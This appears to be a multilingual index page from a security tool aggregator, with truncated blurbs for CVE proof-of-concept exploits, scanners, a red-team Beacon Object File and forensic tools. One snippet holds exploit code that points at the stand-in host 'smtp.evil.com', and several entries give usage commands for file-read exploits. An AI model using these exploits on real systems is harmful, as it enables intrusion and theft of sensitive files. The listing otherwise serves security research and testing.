CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164: vulnerabilità di path traversal in Apache Struts che porta a RCE Una vulnerabilità di sicurezza critica, identificata come CVE-2023-50164 CVE: 9.8, è stata trovata in Apache Struts e consente agli aggressori di manipolare i parametri di upload dei file, il che può potenzialmente...

CVE-2026-36851

CVE-2026-36851 路径遍历/任意文件读取漏洞，存在于 UnPoller v2.33.0 中，通过 file:// 密码前缀触发。文件内容从磁盘读取并在认证期间传输到配置的 UniFi 控制器 URL。...

CVE-2022-22948

CVE-2022-22948 Divulgation d'informations dans VMWare vCenter Le groupe de recherche de Pentera a découvert une vulnérabilité dans le programme vCenter Server de VMWare affectant le logiciel VMWare installé dans 500 000 organisations dans le monde, chargées de gérer leurs systèmes les plus...

CVE-2025-47273-PoC

CVE-2025-47273: setuptools versione 78.1.0 - Path Traversal in setuptools.packageindex Dichiarazione di non responsabilità Questa Proof of Concept PoC è intesa esclusivamente a scopo educativo e per audit di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per l'uso improprio d...

BGGP

Binary Golf Grand Prix This repo contains files for the Binary Golf Grand Prix, sorted by year. BGGP is an annual small file competition, with players creating the smallest possible files that perform a specified function. Files can be no greater than 4096 bytes...

BGGP

Binary Golf Grand Prix Questo repository contiene i file del Binary Golf Grand Prix, suddivisi per anno. BGGP è una competizione annuale di file di piccole dimensioni, in cui i partecipanti creano i file più piccoli possibili che eseguono una funzione specifica. I file non possono superare i 4096...

DoodleCloud

DoodleCloud ☁️ Trasforma Instagram nel tuo archivio cloud personale e infinito. DoodleCloud è uno strumento Proof-of-Concept PoC che utilizza l'API interna di Instagram per archiviare file illimitati gratuitamente. Convertendo i file in immagini "Visual Noise" e caricandoli come doodle nei DM,...

CVE-2026-47665

Penpot is an open-source design and prototyping platform. In versions up to and including 2.14.3, Penpot is vulnerable to stored cross-site scripting through file comments, whose content is stored as raw text and rendered into the page with innerHTML without any sanitization. Because the backend...

-Grafana-LFI-CVE-2021-43798

🚀 Grafana LFI Exploit CVE-2021-43798 Script di automazione in Python 3 per sfruttare la vulnerabilità di Local File Inclusion LFI in Grafana versioni dalla 8.0.0 alla 8.3.0. Questo exploit consente di eseguire un directory traversal per leggere file sensibili del sistema operativo senza...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2022-44268-Exploit

CVE-2022-44268-漏洞利用 针对CVE-2022-44268的漏洞利用 任意文件读取PoC - PNG生成器 这是由https://www.metabaseq.com/imagemagick-zero-days/发现的ImageMagick漏洞的概念验证 将malfile变量修改为pwd/pngout.png 将cmd修改为存在漏洞的magick安装路径 参考：https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC...

NoEyes

NoEyes 🔒 Chat da terminale sicura Chat di gruppo crittografata end-to-end, messaggi privati e trasferimento file nel tuo terminale. Il server è un forwarder cieco: non può leggere i tuoi messaggi, non conosce il tuo nome utente, non conosce la stanza in cui ti trovi e non può collegare due messag...

cpanel2shell-scanner

cpanel2shell-scanner Uno scanner ad alta fedeltà per il bypass dell'autenticazione cPanel/WHM tracciato come CVE-2026-41940. Identifica gli host vulnerabili senza produrre i falsi negativi comuni nei proof-of-concept e nelle rilevazioni pubbliche, e senza innescare i meccanismi di blocco...

CVE-2024-24919-Exploit

CVE-2024-24919-Exploit 概述 此仓库包含针对 CVE-2024-24919 的 Python 漏洞利用代码，该漏洞允许您从存在漏洞的页面读取敏感文件。 此漏洞利用首先检查目标是否易受攻击，然后获取您指定的路径。 严重程度 : 严重 用法 首先克隆仓库： root@kitploit: git clone https://github.com/Rug4lo/CVE-2024-24919-Exploit cd CVE-2024-24919-Exploit 赋予权限并使用 python3 执行漏洞利用 root@kitploit: chmod +x exploit.py...

CVE-2024-46987

CVE-2024-46987 - Camaleon CMS 로컬 파일 포함 Camaleon CMS에 대한 인증된 로컬 파일 포함LFI 익스플로잇. 취약점 Camaleon CMS는 /admin/media/downloadprivatefile 엔드포인트를 통해 인증된 LFI 공격에 취약합니다. file 매개변수가 적절히 검증되지 않아 경로 탐색path traversal을 통해 서버의 임의 파일을 읽을 수 있습니다. 영향을 받는 버전 Camaleon CMS 2.8.2 요구 사항 root@kitploit: pip install request...

juumla

🦁 Juumla 🦁 Juumla Juumla è uno strumento Python creato per identificare la versione di Joomla, scansionare le vulnerabilità e i file sensibili. ⚡ Installazione / Per iniziare Una guida rapida su come installare e usare Juumla. root@kitploit:...

CVE-2026-26832

CVE-2026-26832: OS-Befehlsinjizierung in node-tesseract-ocr Zusammenfassung node-tesseract-ocr bis einschließlich Version 2.2.1 ermöglicht eine OS-Befehlsinjizierung in recognize in src/index.js. Das Paket erstellt eine Shell-Befehlszeichenfolge und führt sie mit childprocess.exec aus. Da der...

rifiuti2

Introduction Rifiuti2 is a for analyzing Windows Recycle Bin INFO2 file. Analysis of Windows Recycle Bin is usually carried out during Windows computer forensics. Rifiuti2 can extract file deletion time, original path and size of deleted files and whether the trashed files have been permanently...

toastnotify-bof

toastnotify-bof Un Beacon Object File BOF per inviare notifiche toast di Windows. Si abbina al post del blog per il contesto completo e i casi d'uso. sottocomandi getaumid Enumera gli AUMID Application User Model ID registrati sul sistema. Usalo per trovare un'identità adatta da prendere in...

Pentest-Collaboration-Framework

Pentest Collaboration Framework Pentest Collaboration Framework - an opensource, cross-platform and portable toolkit for automating routine processes when carrying out various works for testing! Explore the docs » ‼️ Important Links...